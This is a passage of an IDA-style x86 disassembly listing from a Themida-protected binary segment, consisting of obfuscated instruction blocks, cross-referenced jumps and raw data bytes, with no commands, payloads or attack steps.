; ---------------------------------------------------------------------------

loc_54F0BD:				; CODE XREF: Themida_:0055844Cj
		jmp	loc_54C830
; ---------------------------------------------------------------------------
		dw 0E330h
		dd 5BD88858h, 20A6B753h, 50525BF8h, 78E0E9h, 21F16800h
		dd 3C890000h, 50E78924h, 0FFD645E9h, 3CEF81FFh,	0E911EB88h
		dd 0FFFFF760h, 576668h,	5A11E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F0FA:				; CODE XREF: Themida_:00551162j
		mov	edx, 4137450h
		push	ebx
		mov	ebx, 0FBEC8BB4h
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, edx
		pop	edx
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		jmp	loc_54E55D
; ---------------------------------------------------------------------------

loc_54F121:				; CODE XREF: Themida_:00553517j
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 18E3C5Ch
		shl	ebx, 5
		jmp	loc_54C790
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD0B0h
; ---------------------------------------------------------------------------

loc_54F144:				; CODE XREF: Themida_:00556A59j
		pop	ecx
		add	dh, ch
		pop	ecx
		jmp	loc_550A3B
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0F1h
		dd 2971913Ah, 2BDE9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F15A:				; CODE XREF: Themida_:0054EFF4j
		and	ebx, 20892EACh
		dec	ebx
		not	ebx
		neg	ebx
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		xchg	edx, ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 13A25F64h
		jmp	loc_5573A7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C481h, 21E90000h, 100005Bh,	5E95DEAh, 8B000006h, 55E92424h
		dd 53FFFFD0h, 0D36AD1BBh, 0D5F3813Ch, 0E93CD36Ah, 51h
		dd 2C8BEE01h, 4C48324h,	31243433h, 34332434h, 24248B24h
		dd 9C2404FEh, 0FFD027E9h, 27ADBAFFh, 0F74A293Eh, 88C281D2h
		dd 312DF550h, 24148BD7h, 3104C483h, 0EC835FF8h,	47B2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F1EE:				; CODE XREF: Themida_:005527A3j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54E36D
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 88h
		dd 0E91D2B56h, 0FFFFF942h, 5866E230h, 30E3F280h, 0EE28E9D7h
		dd 0EFC1FFFFh, 0BDB6806h, 62E90000h, 8B00006Bh,	8BE92414h
		dd 0E900003Fh, 0FFFFCFC0h
; ---------------------------------------------------------------------------

loc_54F234:				; CODE XREF: Themida_:0054C1F5j
		add	al, 0A1h
		push	cx
		push	0FB4h
		jmp	loc_54E4BA
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89575E24h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 5FF8315Ch
		dd 1D0C68h, 24148900h, 7E6BE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F26A:				; CODE XREF: Themida_:00553CDFj
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_552841
; ---------------------------------------------------------------------------
		dw 18B8h
aES		db 'Ä¥{éÜ{',0
		align 4
		dd offset dword_445750+1618h
		dd 240C8900h, 0E957E189h, 92ABh
; ---------------------------------------------------------------------------

loc_54F29C:				; CODE XREF: Themida_:00555A67j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	13F9h
		mov	[esp], ebx
		push	edi
		mov	edi, 4
		push	edi
		pop	ebx
		pop	edi
		add	edx, ebx
		pop	ebx
		jmp	loc_551CB8
; ---------------------------------------------------------------------------

loc_54F2BE:				; CODE XREF: Themida_:0055820Dj
		or	esi, 196F0110h
		xor	esi, 658557ACh
		shr	esi, 5
		jmp	loc_557F49
; ---------------------------------------------------------------------------

loc_54F2D2:				; CODE XREF: Themida_:00557342j
		push	eax
		mov	eax, 1
		jmp	loc_5572F1
; ---------------------------------------------------------------------------

loc_54F2DD:				; CODE XREF: Themida_:00554C81j
		mov	eax, esp
		add	eax, 4
		jmp	loc_555223
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4EC81h, 1C890000h, 73BD5524h, 0E9553D26h, 8109h
; ---------------------------------------------------------------------------

loc_54F300:				; CODE XREF: Themida_:0054F870j
		push	269576E8h
		pop	ebx
		neg	ebx
		shr	ebx, 6
		add	ebx, 37A3ACCAh
		mov	eax, ebx
		pop	ebx
		jmp	loc_551F8E
; ---------------------------------------------------------------------------
a@crsl		db '¸]@—Ré‹]',0
		dw 8000h
		dd 0B753B4EEh, 1DEF80B7h, 7E50E9h, 24048B00h, 3304C483h
		dd 3C31243Ch, 243C3324h, 2434FF5Ch, 6BE95158h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F34B:				; CODE XREF: Themida_:005504BCj
		shr	edx, 5
		jmp	loc_552B0C
; ---------------------------------------------------------------------------
		db 56h
		dd 2434FF54h, 8124348Bh, 4C4h, 0E0895000h, 405h, 40500h
		dd 4870000h, 0C6815C24h, 4, 4F5BE9h, 48F5A00h, 54515C24h
		dd 4C18159h, 83000000h,	0C8704E9h, 9CE95C24h, 89000027h
		dd 0ACB22414h, 0E2C0C2FEh, 2384E904h, 2680000h,	51000066h
		dd 0C181E189h, 4, 8704E983h, 0E9E9240Ch, 0E900004Bh, 0FFFFCE30h
; ---------------------------------------------------------------------------

loc_54F3C4:				; CODE XREF: Themida_:00551DDEj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5508C3
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5F04h, 30E95C24h,	3500007Dh, 1C3FC7CEh, 6668C781h
		dd 5AE932FBh, 500003Dh,	6BA09B5h, 1CE9F829h, 0C1000009h
		dd 0DAF708E2h, 55B1EA81h, 4905FEA9h, 296F752Dh,	2D492DD0h
		dd 10E96F75h, 57FFFFFEh, 913AF1BFh, 5FFA0171h, 7267C281h
		dd 0B8687EE6h, 89000075h, 19BF243Ch, 5371C807h,	1EFEE9h
		dd 2C48100h, 0E9000000h, 0FFFFE2FEh, 5C243C87h,	8B24048Fh
		dd 2C812424h, 45AC224h,	7BE9514Eh
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F45B:				; CODE XREF: Themida_:0054C927j
		add	bh, 7Fh
		sub	al, 4Ch
		sub	al, bh
		add	al, 4Ch
		mov	ebx, [esp]
		jmp	loc_557897
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 2, 875FF801h, 248B2404h,	0C8B6624h, 4EC8324h
		dd 1B4CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F489:				; CODE XREF: Themida_:0054F738j
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_54CA30
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C381h, 0AE90000h, 0B7FFFFDDh, 3D0668C3h,	0C890000h
		dd 0E9B2B524h, 1325h, 5C243487h, 4C481h, 0A6680000h, 89000005h
		dd 0E589242Ch, 4BF57h, 0FD010000h, 7172E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F4D5:				; CODE XREF: Themida_:005572F7j
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 1DB0A2Ah
		or	ecx, 1D397F49h
		xor	ecx, 999527Bh
		add	ecx, 62E61158h
		and	ecx, 4F0C0C45h
		add	ecx, 0B8F7F3C4h
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_54C2C2
; ---------------------------------------------------------------------------

loc_54F52A:				; CODE XREF: Themida_:0054DFC5j
		push	edi
		push	ebx
		push	ecx
		mov	ecx, 33C948D1h
		push	ecx
		xor	dword ptr [esp], 77447780h
		pop	ebx
		xor	ebx, 77447780h
		pop	ecx
		sub	ebx, 1011CE0Bh
		jmp	loc_553B98
; ---------------------------------------------------------------------------

loc_54F54D:				; CODE XREF: Themida_:0054E9CFj
		sub	ecx, 4
		push	75D5h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5546C7
; ---------------------------------------------------------------------------
aLHog		db '‹$$hog',0
		align 4
		dd 0B1240C89h, 59CB289Eh, 0B551C328h, 0FED5F613h, 0B5CD80C5h
		dd 0ED80C5FEh, 0FFC58077h, 4EC8350h, 0EFFE9h, 0D1CB8100h
		dd 81217373h, 0C5126FCBh, 97E38110h, 0E94C1A5Ch, 0FFFFD94Eh
		dd 0E924048Fh, 7A03h
; ---------------------------------------------------------------------------

loc_54F5B0:				; CODE XREF: Themida_:005520B2j
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_54D9D7
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCC28h
; ---------------------------------------------------------------------------

loc_54F5CC:				; CODE XREF: Themida_:0054C666j
		pop	eax
		dec	ecx
		jmp	loc_5584D5
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFC6h, 4C48158h,	87000000h, 248B2434h, 4A30F24h
		dd 0E6E99C24h, 81000079h, 0BFFFC3C7h, 11B9513Fh, 2D717636h
		dd 784D3948h, 0C1E9C829h, 0BF000009h, 4, 875FFD29h, 895C242Ch
		dd 5954240Ch, 4C181h, 0E9520000h, 2F27h, 0F22E3CB9h, 0E1C14130h
		dd 7163E905h, 0EE810000h, 0C8A9289Bh, 815EF289h, 7726A3C3h
		dd 81D30122h, 7726A3EBh, 24148B22h, 4C481h, 0B8500000h
		dd 2, 48BC301h,	29A4E924h, 0B6580000h, 0CC0AE9F1h, 565DFFFFh
		dd 0F64C14BEh, 6EEC16Dh, 6055BF57h, 0FE3141EAh,	491E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F681:				; CODE XREF: Themida_:0054D0CAj
		neg	ebx
		xchg	eax, ebx
		jmp	loc_554003
; ---------------------------------------------------------------------------
		db 1, 0D6h, 81h
		dd 0E160EDC6h, 57515A16h, 191577BFh, 0EA8BB941h, 0F901BEE6h
		dd 0BAEE815Fh, 132EA3Fh, 0BAC681CEh, 8B32EA3Fh,	0C481240Ch
		dd 4, 8B243487h, 0F1F62424h, 0CCB60F66h, 12B2E9h, 4C38100h
		dd 83000000h, 1C8704C3h, 0C14F5C24h, 0F75708E7h, 0E95F2414h
		dd 2349h, 6830E959h, 0E5C00000h, 2EC8306h, 241C8966h, 0FFE2C0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F6F9:				; CODE XREF: Themida_:00550BC9j
		mov	eax, 22E8604Ch
		shl	eax, 6
		inc	eax
		shr	eax, 5
		jmp	loc_554582
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54502404h, 8D4FE9h, 4C48100h, 68000000h, 3D52h, 89241489h
		dd 835250F2h, 0E4E904ECh
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F72F:				; CODE XREF: Themida_:00550724j
		pop	edx
		add	esi, 0ACEAC784h
		add	ecx, esi
		jmp	loc_54F489
; ---------------------------------------------------------------------------

loc_54F73D:				; CODE XREF: Themida_:0054D3BBj
		add	esp, 4
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 76726824h, 4890000h, 53DC8824h, 0DE88E388h
		dd 24048B5Bh, 0E904C483h, 0FFFFF601h, 74C1815Dh, 0E978EF60h
		dd 5254h, 0FF240489h, 58042474h, 0FFE565E9h, 24048FFFh
		dd 0ECCE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F78D:				; CODE XREF: Themida_:005529EBj
		add	eax, edx
		pop	edx
		inc	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_555BD9
; ---------------------------------------------------------------------------
		dd 1DD0EA81h, 0D2F7474Fh, 0BC3BB53h, 0F3812AF2h, 2AF20BC2h
		dd 815BDA29h, 0CB6EBEC2h, 1DB9517Ah, 818BBBD8h,	612D7EEAh
		dd 51CA293Ah, 612D7EB9h, 8BCA013Ah, 0C483240Ch,	1F2D5904h
		dd 0E9793D29h, 754Bh
; ---------------------------------------------------------------------------

loc_54F7E0:				; CODE XREF: Themida_:00555446j
		mov	edx, 8D6414AEh
		jmp	loc_54C956
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 0FFFFF478h
; ---------------------------------------------------------------------------

loc_54F7F0:				; CODE XREF: Themida_:0054CA9Cj
		pop	edx
		add	ch, 91h
		xor	al, ch
		mov	cx, [esp]
		jmp	loc_54EED6
; ---------------------------------------------------------------------------
		db 5Bh
		dd 20AC005h, 24440142h,	0E5E95804h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F80F:				; CODE XREF: Themida_:0054E489j
		push	0EDh
		mov	[esp], ecx
		jmp	loc_550026
; ---------------------------------------------------------------------------
		dd 0E3009DB4h, 0C0B60F58h, 8B8734FFh, 0AB682404h, 89000061h
		dd 0E189240Ch, 4C181h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 71D64A9Bh
		or	edi, 4BE56D82h
		inc	edi
		or	edi, 6F1A700Eh
		xor	edi, 7FFF7F9Ah
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5578BF
; ---------------------------------------------------------------------------

loc_54F86E:				; CODE XREF: Themida_:0054CA3Bj
		push	eax
		push	ebx
		jmp	loc_54F300
; ---------------------------------------------------------------------------

loc_54F875:				; CODE XREF: Themida_:00554853j
		mov	ecx, [esp]
		jmp	loc_552A3A
; ---------------------------------------------------------------------------

loc_54F87D:				; CODE XREF: Themida_:00554F0Ej
		shr	eax, 8
		xor	eax, ecx
		jmp	loc_54C6F3
; ---------------------------------------------------------------------------
		db 0BBh
		dd 2, 6E062905h, 2DD80170h, 706E0629h, 81241C8Bh, 4C4h
		dd 24043300h, 33240431h, 248B2404h, 24D36624h, 3DE99C24h
		dd 81FFFFC9h, 0AE197CEEh, 24048B73h, 4C481h, 0E9550000h
		dd 3FF0h, 0E9D0015Eh, 425h, 81D2F75Eh, 0B47215F2h, 2BF3E996h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F8E2:				; CODE XREF: Themida_:00555A91j
		add	esp, 4
		sub	ecx, 2E802604h
		add	ecx, ebp
		add	ecx, 2E802604h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_551346
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D35966h, 0E1E99C24h, 83FFFFC8h,	0AEE904C4h
		dd 8100000Dh, 8A3492C5h, 4571E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F926:				; CODE XREF: Themida_:0054D64Cj
		jnz	loc_550DCF
		push	edi
		push	ebp
		mov	ebp, 33471F8Bh
		shl	ebp, 2
		shr	ebp, 4
		sub	ebp, 4FA41C14h
		push	eax
		push	edx
		mov	edx, 187C0EABh
		jmp	loc_5567D6
; ---------------------------------------------------------------------------
		db 80h
		dd 0E98030F1h, 0E9CB089Dh, 344Ah, 0FF2434FFh, 34FF2434h
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54D6C5
; ---------------------------------------------------------------------------
		dw 0E180h
		dd 0F6C18669h, 0E9C186D0h, 1419h, 8B24048Fh, 4FF2424h
		dd 6DE99C24h, 8BFFFFC8h, 0C481243Ch, 4,	7406C381h, 0EB8110E8h
		dd 5E830245h, 72BFEB81h, 0C3012A69h, 0FFEFD1E9h, 4C781FFh
		dd 81000000h, 2EFh, 243C8700h, 6A2CE95Ch, 89660000h, 6852240Ch
		dd 624Ah, 0FFD5C1E9h, 0E28952FFh, 4C281h, 0C2810000h, 4
		dd 0FFE21AE9h, 2BA52FFh, 1000000h, 24148BD1h, 6804C483h
		dd 6A80h, 0E9240C89h, 590Ch, 5010ED80h,	6EDAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54FA05:				; CODE XREF: Themida_:0054EE18j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 80h
		and	ecx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5513EF
; ---------------------------------------------------------------------------
aXwIjs		db 'XW¿ÍȨ¦é',7,'"',0
		align 2
		dw 8966h
		dd 50662414h, 0C7BEE99Ch, 0D3F7FFFFh, 0BD55DBF7h, 0AB138341h
		dd 0E95DEB29h, 479h, 6086CA81h,	0EAC175D3h, 1CCA8103h
		dd 0F73B223Fh, 0FDC281DAh, 89BD3135h, 0C5315AD0h, 85C3E958h
		dd 0E9570000h, 5A9Ch
; ---------------------------------------------------------------------------

loc_54FA70:				; CODE XREF: Themida_:0054E4A1j
		mov	[esp], edi
		mov	edi, 1D9462A6h
		xor	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_553AE1
; ---------------------------------------------------------------------------
		dd 0F7242C89h, 815D2414h, 0C2951EDh, 9DBB5316h,	0E947E43Dh
		dd 0FFFFD374h, 67C4E381h, 0EB815855h, 0A5949303h, 2AB3EE81h
		dd 0DE017D1Fh, 2AB3BB53h, 0DE017D1Fh, 241C8B5Bh, 4C481h
		dd 2EE90000h, 81000040h, 4ECh, 240C8900h, 4B9h,	0E236E900h
		dd 815AFFFFh, 2C5h, 242C8700h, 8024248Bh, 0F5E90EC3h, 30000082h
		dd 1C8B66F8h, 2C48324h,	5A63E9h
		db 0
; ---------------------------------------------------------------------------

loc_54FAFD:				; CODE XREF: Themida_:00554687j
		add	edx, edi
		jmp	loc_552E1E
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 24041958h, 0EC59E99Ch, 3C8BFFFFh,	4C48324h
		dd 0F839F681h, 0F7312B4Fh, 0F0E7815Eh, 81114135h, 0FE2999EFh
		dd 0A0E9566Fh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FB33:				; CODE XREF: Themida_:0054FF88j
		mov	eax, esp
		jmp	loc_54FC00
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E910B424h, 0FFFFE5E7h, 86ED8058h, 0D5F6C5FEh, 0BCE9h
		dd 0C69EE900h, 8746FFFFh, 0E9D5F7EEh, 732Eh, 4EC81h, 69E90000h
		dd 5DFFFFCFh, 1DBCE9h, 0D3BA5200h, 0F70E9E3Fh, 4EAC1D2h
		dd 0E402C281h, 0D101F0E9h, 6BE9685Ah, 1C890000h, 0EB54E924h
		dd 559FFFFh, 793D291Fh,	55C3315Ah, 0C5815D54h, 4, 4BF57h
		dd 0ED810000h, 228A3492h, 64E9FD29h, 5BFFFFFDh,	83242C8Bh
		dd 0C08304C4h, 24043302h, 0E9240431h, 4240h, 4C181h, 22E90000h
		dd 0B9000051h, 2, 7651EA81h, 21E93761h,	80000073h, 0F7E901EDh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FBEF:				; CODE XREF: Themida_:00555E35j
		sub	ebp, 2B260416h
		jmp	loc_5577F2
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 25F7h
; ---------------------------------------------------------------------------

loc_54FC00:				; CODE XREF: Themida_:0054FB35j
		add	eax, 4
		sub	eax, 4
		jmp	loc_5572A9
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 3Ah
		dd 7D906866h, 24048966h, 1FE9AFB0h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FC1F:				; CODE XREF: Themida_:00555BE0j
		pop	ebp
		xor	eax, 23EE1C8Ch
		add	eax, 0FFFFFFFFh
		sub	eax, 5846CEF3h
		xor	esi, eax
		pop	eax
		pop	ebx
		and	eax, esi
		jmp	loc_551EE5
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0D7D8E957h, 5156FFFFh, 8904EC83h,	10E92404h
		dd 2C000006h, 4D8287Ch,	8118047Ch, 4ECh, 24348900h, 0C681E689h
		dd 4, 3304EE83h, 34312434h, 24343324h, 240C895Ch, 0B2526653h
		dd 66D7889Eh, 5BF9885Ah, 34FFC800h, 2434FF24h, 4C48159h
		dd 0E9000000h, 0FFFFFD35h, 1BFDE951h, 0CEFE0000h, 5153B353h
		dd 1B56E9h
		db 0
; ---------------------------------------------------------------------------

loc_54FCA9:				; CODE XREF: Themida_:0055691Aj
		xor	edx, [esp]
		jmp	loc_55791C
; ---------------------------------------------------------------------------
		db 0C0h, 0E2h, 7
		dd 0D0A5B151h, 0D0C9FEE1h, 1EF180E1h, 2816F180h, 0D00059CAh
		dd 5A2434FFh, 8104C483h, 4ECh, 85CCE900h, 0EEC10000h, 14FAE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FCE2:				; CODE XREF: Themida_:0055437Cj
		pop	eax
		jmp	loc_54ECA2
; ---------------------------------------------------------------------------

loc_54FCE8:				; CODE XREF: Themida_:00555786j
		add	ebx, 2
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_552193
; ---------------------------------------------------------------------------
aQX4Asmq	db 'Q¹•4ÛAéŒQ',0
		align 4
		dd 0E3EBBA52h, 0D00123D3h, 811CE9h, 0E7E95500h,	57000039h
		dd 0E14562BFh, 2CEF8160h, 0E949FD01h, 1856h, 0E91C77FFh
		dd 1882h
; ---------------------------------------------------------------------------

loc_54FD30:				; CODE XREF: Themida_:00551EF8j
		mov	[esp], edi
		jmp	loc_552313
; ---------------------------------------------------------------------------
		dd 3804BE56h, 0F2890803h, 0BBB8505Eh, 0C13B6C7Ah, 0D2D04E8h
		dd 2D7D8217h, 792931ABh, 8158C201h, 0D95407C2h,	5FB8502Bh
		dd 3149FE50h, 0B95158C2h, 5E5157F0h, 413CF181h,	0CA0957FFh
		dd 17C28159h, 1F641A1h,	1C335AD3h, 241C3124h, 5C241C33h
		dd 8B2434FFh, 0C4812414h, 4, 456B68h, 0E932E900h, 0C681FFFFh
		dd 4, 46857h, 295F0000h, 34875FFEh, 4754E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54FDB6:				; CODE XREF: Themida_:00558288j
		inc	ebx
		inc	ebx
		xchg	edi, ebx
		not	edi
		jmp	loc_5520F7
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0A7h
		dd 0E9F18FC7h, 28B3h, 0C700C7B0h, 7BE95866h, 0ADFFFFECh
		dd 0A941BC2Dh, 0F682D17h, 0D8291B35h, 350F6805h, 0E689561Bh
		dd 4C681h, 0EE810000h, 4, 5C243487h, 0E9243489h, 0FFFFE733h
		dd 21086866h, 0FFFBB1E9h, 0DC68ACFFh, 8900005Fh, 88E9241Ch
		dd 0F7FFFFF6h, 0F0E981D9h, 314CDBC4h, 0EC8159CDh, 4, 59242C89h
		dd 0E9F9015Dh, 82Dh, 0DFEA815Bh, 133973Dh, 122DE9C2h, 0C4810000h
		dd 4, 65CDE9h, 50C6FE00h, 9EE9B9B0h, 5F000039h,	83243C8Bh
		dd 0D82904C4h, 0FC6F2505h, 1F52681Eh, 3C890000h, 349CE924h
		dd 0C4830000h, 24048F04h, 6624248Bh, 9C240421h,	0FFC36BE9h
		dd 81E389FFh, 4C3h, 0D7CBE900h,	8B66FFFFh, 5456240Ch, 0FFE6B6E9h
		dd 515066FFh, 2BE94CB1h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FEAB:				; CODE XREF: Themida_:005502E8j
		xchg	ebp, [esp]
		jmp	loc_54FEC9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9522404h, 20BDh, 0FFC333E9h, 5BD901FFh, 0FFFB18E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FEC9:				; CODE XREF: Themida_:0054FEAEj
		pop	esp
		push	1A3Bh
		mov	[esp], ebp
		jmp	loc_55631E
; ---------------------------------------------------------------------------

loc_54FED7:				; CODE XREF: Themida_:00556369j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_553488
; ---------------------------------------------------------------------------
		dd 0C004C483h, 0E9C003E1h, 0B3536607h, 0E9DBF635h, 4E73h
; ---------------------------------------------------------------------------

loc_54FEF4:				; CODE XREF: Themida_:00556E4Dj
		sub	esi, 4A3A4272h
		sub	esi, ecx
		add	esi, 4A3A4272h
		jmp	loc_551FB6
; ---------------------------------------------------------------------------

loc_54FF07:				; CODE XREF: Themida_:0055489Bj
		mov	cl, 59h
		inc	cl
		jmp	loc_551382
; ---------------------------------------------------------------------------
		dd 0FF2434FFh
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	33AEh
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 540D16B4h
		or	edx, 54055D61h
		jmp	loc_54F0AD
; ---------------------------------------------------------------------------

loc_54FF45:				; CODE XREF: Themida_:005567ACj
		xchg	ebp, [esp]
		pop	esp
		push	7C96h
		mov	[esp], edx
		push	400h
		push	dword ptr [esp]
		pop	edx
		push	4901h
		mov	[esp], eax
		push	esp
		jmp	loc_54E437
; ---------------------------------------------------------------------------

loc_54FF68:				; CODE XREF: Themida_:0054D65Cj
		shl	edx, 2
		dec	edx
		add	edx, 0B0EBBE4Dh
		mov	ebp, 1D425EC5h
		jmp	loc_55428A
; ---------------------------------------------------------------------------
		dd 875EF501h, 21E9242Ch
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54FF87:				; CODE XREF: Themida_:0055247Bj
		push	eax
		jmp	loc_54FB33
; ---------------------------------------------------------------------------

loc_54FF8D:				; CODE XREF: Themida_:00555A2Cj
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_55144E
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 3C8904ECh, 3C8B5424h, 4C48124h, 68000000h
		dd 7DF9h, 0E9240C89h, 0FFFFC5B0h, 4D394805h, 0F8015978h
		dd 76361105h, 0E9E95F71h, 0BFFFFFCAh, 571D360Ah, 1B47E781h
		dd 52E94D09h, 0AC000036h, 9A2CF52Ch, 9A04D828h,	517BB353h
		dd 84E9B5B1h, 29FFFFD0h, 0DA015AD3h, 4BE565Bh, 1000000h
		dd 7767E9F2h, 0EA800000h, 46C2E9B9h, 0D5E90000h, 1FFFFC1h
		dd 0FAB4E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550026:				; CODE XREF: Themida_:0054F817j
		push	517C1185h
		pop	ecx
		inc	ecx
		sub	ecx, 70781D81h
		jmp	loc_553D93
; ---------------------------------------------------------------------------
		dd 8324148Bh, 2AE904C4h, 80000051h, 0F1801DF1h,	0E9C80083h
		dd 0FFFFDA15h, 240C8B66h, 7E78E9h, 4C68300h, 2474FF56h
		dd 0A5E95E04h, 66FFFFE4h, 68240C8Bh, 5D20h, 0E9243C89h
		dd 9D4h, 0C8BE830h, 4C48124h, 81000000h, 4ECh, 240C8900h
		dd 0B0506653h, 66C788DFh, 8042B558h, 0C580A2C5h, 0EAA5E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5500A2:				; CODE XREF: Themida_:00554BC1j
		xor	eax, edx
		pop	edx
		push	edi
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 43B32473h
		push	esi
		mov	esi, 43B32573h
		mov	ebx, esi
		pop	esi
		xor	ebx, ebp
		pop	ebp
		jmp	loc_5515F9
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4B714683h, 0FFD307E9h, 1C8758FFh, 24248B24h,	0E9240489h
		dd 0FFFFC114h, 3302C683h, 34312434h, 24343324h,	0D224248Bh
		dd 0E99C240Ch, 156Eh, 167ED81h,	0DD011904h, 167C581h, 1C8B1904h
		dd 4C48324h, 0E904EC83h, 0FFFFE7C4h, 89242C89h,	4EC83C5h
		dd 0FF242C89h, 835B2434h, 34FF04C4h, 2434FF24h,	4C4835Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_553882
; ---------------------------------------------------------------------------

loc_550141:				; CODE XREF: Themida_:005517DBj
		or	dx, ax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54E66D
; ---------------------------------------------------------------------------
		db 0C3h
		dd 77F4E9h
		db 0
; ---------------------------------------------------------------------------

loc_550155:				; CODE XREF: Themida_:0054D6D1j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	3C5Fh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_557C85
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0FFE12EE9h, 2434FFFFh, 6AA6685Ah,	73E90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55018F:				; CODE XREF: Themida_:0054C22Cj
		mov	ah, dl
		not	ah
		push	ebx
		mov	bl, ah
		mov	dl, bl
		pop	ebx
		pop	ax
		jmp	loc_55852A
; ---------------------------------------------------------------------------

loc_5501A0:				; CODE XREF: Themida_:00552700j
		pop	ecx
		add	al, 9Ch
		add	al, bl
		sub	al, 9Ch
		pop	ebx
